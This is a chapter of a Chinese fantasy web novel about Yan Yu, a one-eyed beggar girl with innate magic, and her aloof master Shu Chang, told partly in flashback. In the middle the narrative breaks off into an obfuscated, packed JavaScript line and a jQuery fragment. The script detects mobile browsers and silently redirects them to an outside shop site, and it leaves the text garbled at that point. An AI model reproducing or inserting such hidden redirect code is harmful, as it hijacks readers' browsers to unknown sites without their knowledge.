麦轮走了。
言喻心想:啊啊啊啊啊,师父你把我朋友吓跑了。
言喻面上,老实巴交,乖巧听话中。
“师父,你这四年是怎么过来的?”言喻实在是好奇,哪有人不吃不喝四年躺在棺材里还能活下来的。
“我大部分的时间都在沉睡,你想问我为什么还活着吧?”书常问。
言喻没应,装死。
“魔力,等你有我这样的魔力的时候,你也不会轻易被轻易渴死饿死,这个封印的水晶棺材,并不阻拦魔力的进入,我无意识调用了魔力补足了能量,这才得以活过四年。”书常说。
言喻从来没有听说过这样的事情,根本是闻所未闻。
“你剑法找谁学的?”书常问她。
“我随便学的。”言喻生怕师父一个魔法把她不存在的剑术老师给炸了。
是的,不存在,剑术上言喻理论上有很多老师。
最开始,她自己拿了一个册子瞎练,然后跟那些学习过剑术的人切磋时偷练对方几招,也有一些心善的剑士会随意指导她一些经验,可以说是很多老师,这些人都可能被师父魔法炸掉,虽然实际上言喻正式的剑术老师一个都没有。
“以后别练了。”书常直接给了命令。
言喻窝囊,心里有些堵,跟着师父走了。
言喻一看师父就心里五味杂陈,酸甜苦辣咸一应俱上。
一会儿想跑路,想逃走,一会儿想扑上去给她师父打一顿,心里的想法太多,言喻自己也说不清楚,大概还和她那前世和这世的记忆融合有关。
和师父缘分的最初,还得从她八岁那年说起。
*
八岁时,言喻还是个小乞丐。像锅上的油污一样,活在城中巷子里。
而比较糟糕的是言喻只有一只眼能用,另外一只没有眼珠,被乱糟糟的头发盖着,连眼罩都没有。
安乐城有很多这样的小乞丐,他们的生父生母是比他们好不了多少的穷人,养不活孩子,或者养不活多的孩子,就把孩子丢了,大街小巷到处都是,偶尔能见到死孩子在垃圾桶边招苍蝇,再被骂骂咧咧,被派来扫大街的环卫工收走。
哦,对了,这个时代好像不叫环卫工,又记混了。
言喻,她自己,那时体弱。印象中隔三差五的吸着大鼻涕,因为一直在感冒。
瘦成一把,每天都很饿,跟着孩子王老大出去猎食,有的翻垃圾筒,有的去乞讨。胆大的去当小偷,偷一次能饱很久,但偶尔被抓到打死也很常见。
言喻嘴不甜,又有一只安乐城嫌晦气的红眼睛,当乞丐赚不到吃的,胆小又不敢去当小偷,就每天翻垃圾桶,找那些还没来的及变味的食物。
就这样也不是每天都能找到。
言喻的身体越来越差,有天睁眼,看到了一些身体的健全的小乞丐被抓走了,还有些羡慕,运气好说不定会被卖出富贵人家,就算不卖到富贵人家,卖去当仆人也比现在吃不饱饭好。
她问人贩子能不能带走她,人贩子跑了,说怕她病歪歪有传染病。
言喻饿坏了,看到死孩子都想啃。但隐约又觉得这样做不对,就翻垃圾筒混着,准备变成下一个死孩子。
转机,是那个孩子王老大跑来给她塞了个馒头,白面的,他说:“跟我最久的就是你了,这是我乞讨来的,你吃吧,别死了。”
孩子王老大长的很讨喜,天不冷的时候会去河边把脸洗干净,靠着这张脸讨饭,又长的强壮,会说话,言喻压根没想过这老大能记得她,
言喻很感动,把白面馒头吃了,边上的孩子起哄,说:“这是老大看上你了,也不知道每天死多少人,他只给你馒头,说不定是想让你长大当他媳妇。”
言喻饿惨了,说:“那也可以,不过我或许等不到长大了。”
孩子王老大生气了,对那些乞丐说:“去去去,起什么哄呢。”
又对言喻道:“你不会长不大的,跟着我,去把脸洗干净,一起去要饭,你肯定能要到饭吃。”
“可是我的红眼啨……”言喻说。
“蒙上就好了……相信我。”孩子王老大说。
于是言喻就跟着了孩子王,洗干净了脸,她嘴不甜,用破布蒙了眼,用独眼透着纱去看世界。
负责在老大说磕头的时候,梆梆磕头那个人。
孩子王老大对外说她是个瞎子,她心想当瞎子也挺好,至少每天都能吃到东西,大家会可怜她。
跟着孩子王一段时间后,言喻重了不少,人也健康起来,不会一直病病歪歪,要死不死样的样子。
有一天,言喻对孩子王老大说:“如果我真是瞎子的话,会不会更好,这样就不会有那只安乐城嫌晦气的眼睛了,大家会真正的可怜我。”
孩子王说:“别了,你本来就只剩下一只眼了,再瞎一只,以后怎么活,你又不是那些少爷小姐……”
言喻只能暂时打消这个想法。
他们组合一直乞讨很顺利,直到八岁那年冬天,那年下了很大的雪,天格外的冷,去乞讨的小乞丐冻死了好几个。
言喻不敢出去,躲在废教堂里,孩子王老大出去了几次,也不敢了,说外面没什么人。
降温的太厉害,在教堂里还能挡风,在外面必死,大家都很消级。
言喻就说:“如果能用我一只眼晴换来食物就好了。”
那些孩子道:“你想的倒挺美,我们饿死一条命都换不来吃的,如果现在能瞎一只眼换来吃的,我两只都能不要。”
“是的,我想的美,我想用一只眼睛换来吃的,还不只我一个人吃,让所有人都吃饱,还要冬天的衣服。”言喻说。
小乞丐们笑,可言喻真觉得自己能做到。
她顺着本能走,念出了一段陌生的语言。
孩子王老大忽然捏紧了她的手,说了什么,但由于周边太吵闹,言喻就没有听见。
念完了嘴里的话,食物真的出现了,挤满了旧教堂,周围还有无数箱子里,里面是棉袄。
饿疯的小乞丐们扑了上去,言喻只看了一眼,眼中就流下了血,瞎了。
言喻成了一个真正的瞎子。
孩子王老大说:“我认识这个,是魔法。”
他可能比言喻大上两岁,人聪明又见多识广,他说是魔法,那就是魔法。
言喻说:“老大,我弄来吃的了,还有衣服。”
“所以你的眼睛是真的瞎了吗?痛吗?”老大问。
言喻点了点头,“真的看不见了,有一点点痛,我对痛不太敏感,不怕啦!”
比起疼痛,更多是不适应没有眼睛带来的虚无。
“你不会一直是乞丐的,魔法师是王国最稀有的财产。”孩子王老大说。
“那你呢?”言喻问。
“我也不会一直当乞丐,我找到了靠谱的大人领养我,只是他们不愿意带上你,他们说愿意再给我个机会。”乞丐王老大说。
那些小乞丐们正抢着吃的喝的,厚衣服,没有人注意着他们两人。
“当乞丐当久了,眼中就只剩下了活着,他们已经没得救了,但我觉得你还有希望。”孩子王老大说。
言喻隐约觉得孩子王老大有一些偏心,她也一样的,为了活着不择手段,连眼晴都不要了。
“如果能离开的话,不要轻易用这个魔法。”孩子王老大说。
言喻一愣。
教堂的门打开。
“刚刚,是谁使用了魔法。”一个显的冷淡的声音传来。
“是我。”言喻举起了手。
对方看着言喻愣了一下,他说:“我能治好你的眼睛,你要不要跟我走?我教你学习魔法。”
言喻记得老大的话,她问:“你要领养我吗?”
“不。我不会领养你,我只会是你师父,负责教导你,父母会惯着你,我不会,你必须要学会我教你的所有东西。”那冷淡的声音道。
言喻混乱的脑子想着:虽然这个人只是声音听起来冷淡,说话也冷漠的,但这仍然是天大的好事。
言喻问:“可以带上我的老大一起么?”
她没有忘记救济边上的老大,说罢,扯着手中的人,给声音的方向指引目标。
“不行,他没有魔法才能。”那声音如此冷淡。
“可……”言喻有些不舍。
“其实我已经是有去的地方了,等我长大了来找你。”孩子王老大说。
于是言喻就被那只温凉的,比她体温低一些的手接过,接过前,还用魔法给她的手洗了两道,看起来有些嫌弃。
那是言喻和师父的第一次见面。
和这次差不多。
*
言喻跟着师父,往
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17769163|209847||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
山谷里面走,和儿时她完全看不见不同,这次她双全俱全,清晰的能看见一切。
她和儿时也不大相同。
言喻的记忆是她穿过来没多久的时候自己封印的,用她那个天赋魔法。
出生于现代的她,无法接受这个世界的残酷,因为红眼睛,言喻很小的时候就被父母抛弃了,并不是因为养不起,那是因为讨厌她的眼睛。
带着前世记忆的言喻在街上流浪,过于美好的现代生活,和这里形成了鲜明的对比,所以那时的她受不了了,觉醒了天赋魔法将自己的记忆封印到18岁的时候解除。
代价是失去一只眼睛。
没有记忆的言喻反而活了下来,因为没有体验过现代美好的生活,所以出生尘埃的时候,也觉得自己生来如此,没有体验过美好的日子,就不觉得现在的日子有多苦。
所想也只有活下去。
那时的她,对师父有的也只是感激。
“师父,我不想回去了。”言喻停了下来。
她其实有一点害怕。
“为什么?”她师父问。
“我不觉得一直在山谷里待着就能学好魔法。”言喻编了个理由。
真实原因自然不是因为这个,她只是觉得她活着了,成年了该有自己的想法和生活了。
“那你得学到哪年去?”她师父问。
“像你这样的,100年活不到的小孩子,如果不把每一分钟都用在魔法上,怎么学好魔法呢?我以为之前你出来那一段时间已经明白了。”书常说。
是的,言喻16岁之后出逃过一次,那一次她失去了她的师父,见识这个世界对于红瞳的恶意。
但那不对……她那时对师父的依恋来自于她只能依恋师父,可她现在认识了很多人,有一些朋友,他们也不讨厌她的红眼睛,有的虽然也觉得红眼睛晦气,但认可她的人品。
“我想要离开。”言喻说。
“即使将我封印四年么?”书常问。
“不是我封印的你,我也不想封印你,我不救你,那是因为一个意外。”言喻有些着急。
“我只关心你能不能学好魔法。”书常说。
是的,她的师父一直就是这样,就算她对他有再多的依恋,再多的不舍,再多的情感寄托。
她也仍然淡淡的,只对她的魔法抱有期待。
“师父,你的眼睛,可以看到我吗?”言喻问。
言喻望过去,看到他师父长及小腿的白发,也是后来才知道,他师父是因为活得太久,对时间感知有一点点淡,所以头发总是会留到很长,等长到及地的时候,才会想起去剪。
言喻小时候也会留这么长的头发,她那时如同小鸟一样依恋和模仿。
可就算是小时候的言喻也不太像她师父,她的长发是有一点点卷的金发,没有她师父那样直。
他们本来就不一样,即使模仿也模仿不到位。
而她永远也活不成是他师父想要的样子。
现在她放弃了,她只想活成自己想要的样子。
“可以看到。”她的师父道。
“你会成为比我还要强的魔法师。”师父看着她的眼睛说。
言喻觉得不可能,魔法也是需要一点点积累的,她不可能比师父还能活,所以也不可能比师父还要强,只是她师父这么觉得。
但是言喻永远永远,都对师父抱有一种期待。
为此她可以放弃一切。
言喻念起了魔法,他师父举起法杖准备用魔法应对。
“这是不理智的。用伤害自己来对抗我,我不想伤害你。”他师父说,此时的言喻没有法杖,她只可以用她的天赋魔法,就是失去刚刚恢复的眼睛,因为对抗的是她师父,所以不知道眼睛能不能回来。
但没关系,言喻躲过了师父魔法,她这四年也不是吃素的。
他师父面无表情地放出了一大片魔法,以言喻的角度根本躲无可躲,言喻也没有躲,她的师父不会杀她的,她知道。
她将迎着将自己炸成血肉模糊的魔法,走到她师父面前,念完的那个咒语。
书常有些愣,言喻说:“师父,这样的话,你是否才能真正的看到我?而不仅仅是一个学习魔法的徒弟。”
言喻凑近了她师父的脸,近乎粗暴地抓起了他的头发,给了他一个带着血腥味的吻。